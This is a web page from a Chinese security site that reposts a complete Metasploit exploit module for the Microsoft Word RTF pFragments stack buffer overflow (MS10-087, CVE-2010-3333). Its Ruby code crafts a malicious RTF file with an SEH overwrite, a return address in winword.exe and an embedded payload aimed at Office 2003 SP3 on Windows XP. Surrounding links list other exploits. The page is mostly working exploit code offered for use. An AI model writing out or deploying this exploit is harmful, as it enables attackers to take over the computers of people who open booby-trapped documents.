首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Word RTF pFragments Stack Buffer Overflow
来源:http://www.metasploit.com 作者:wushi 发布时间:2010-12-31  
##
# $Id: ms10_087_rtf_pfragments_bof.rb 11450 2010-12-29 20:30:50Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in the handling of the
				'pFragments' shape property within the Microsoft Word RTF parser. All versions
				of Microsoft Office prior to the release of the MS10-087 bulletin are vulnerable.

				This module does not attempt to exploit the vulnerability via Microsoft Outlook.

				The Microsoft Word RTF parser was only used by default in versions of Microsoft 
				Word itself prior to Office 2007. With the release of Office 2007, Microsoft
				began using the Word RTF parser, by default, to handle rich-text messages within
				Outlook as well. It was possible to configure Outlook 2003 and earlier to use
				the Microsoft Word engine too, but it was not a default setting.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'wushi of team509',  # original discovery
					'unknown',           # exploit found in the wild
					'jduck'              # Metasploit module
				],
			'Version'        => '$Revision: 11450 
, 'References' => [ [ 'CVE', '2010-3333' ], [ 'OSVDB', '69085' ], [ 'MSB', 'MS10-087' ], [ 'BID', '44652' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00", 'DisableNops' => true # no need }, 'Platform' => 'win', 'Targets' => [ # Office v11.8307.8324, winword.exe v11.0.8307.0 [ 'Microsoft Office 2003 SP3 English on Windows XP SP3 English', { 'Offsets' => [ 24536, 51112 ], 'Ret' => 0x300294e7 # p/p/r in winword.exe } ], # In order to exploit this bug on Office 2007, a SafeSEH bypass method is needed. =begin # Office v12.0.6425.1000, winword.exe v12.0.6425.1000 [ 'Microsoft Office 2007 SP2 English on Windows XP SP3 English', { 'Offsets' => [ 5912 ], 'Ret' => 0x30001ceb # p/p/r in winword.exe } ], =end # crash on a deref path to heaven. [ 'Crash Target for Debugging', { 'Offsets' => [ 65535 ], 'Ret' => 0xdac0ffee } ] ], 'DisclosureDate' => 'Nov 09 2010')) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']), ], self.class) end def exploit offsets = target['Offsets'] # Prepare a sample SEH frame seh = generate_seh_record(target.ret) # Prepare a sample backward jump distance = offsets.max jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # RTF property Array parameters el_size = sz_rand() el_count = sz_rand() data = '' # These words are presumably incorrectly used # assert(amount1 <= amount2) data << [0x1111].pack('v') * 2 data << [0xc8ac].pack('v') data << [0x1111].pack('v') * 22 # Filler if target.name =~ /Debug/i rest = Rex::Text.pattern_create(offsets.max + seh.length + jmp_back.length) else rest = rand_text(offsets.max + seh.length + jmp_back.length) end # Add the payload rest[0, payload.encoded.length] = payload.encoded # Fill in the seh frames offsets.each { |off| rest[off, seh.length] = seh distance = off + seh.length jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string rest[off + seh.length, jmp_back.length] = jmp_back } sploit = "%d;%d;" % [el_size, el_count] sploit << data.unpack('H*').first sploit << rest.unpack('H*').first content = "{\\rtf1" content << "{\\shp" # shape content << "{\\sp" # shape property content << "{\\sn pFragments}" # property name content << "{\\sv #{sploit}}" # property value content << "}" content << "}" content << "}" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(content) end def sz_rand bad_sizes = [ 0, 2, 4, 8 ] x = rand(9) while bad_sizes.include? x x = rand(9) end x end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Digital Music Pad 8.2.3.4.8 SE
·Ignition 1.3 Remote Code Execu
·Mongoose 2.11 Denial Of Servic
·Chilkat Software FTP2 ActiveX
·QuickPHP Web Server 1.9.1 Dire
·QuickPHP Web Server Arbitrary
·httpdASM 0.92 Directory Traver
·Google Gears WiFi Geolocation
·TYPSoft FTP Server (v 1.10) RE
·HP Photo Creative 2.x audio.Re
·TYPO3 Unauthenticated Arbitrar
·Bywifi 2.8.1 Stack Buffer Over
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved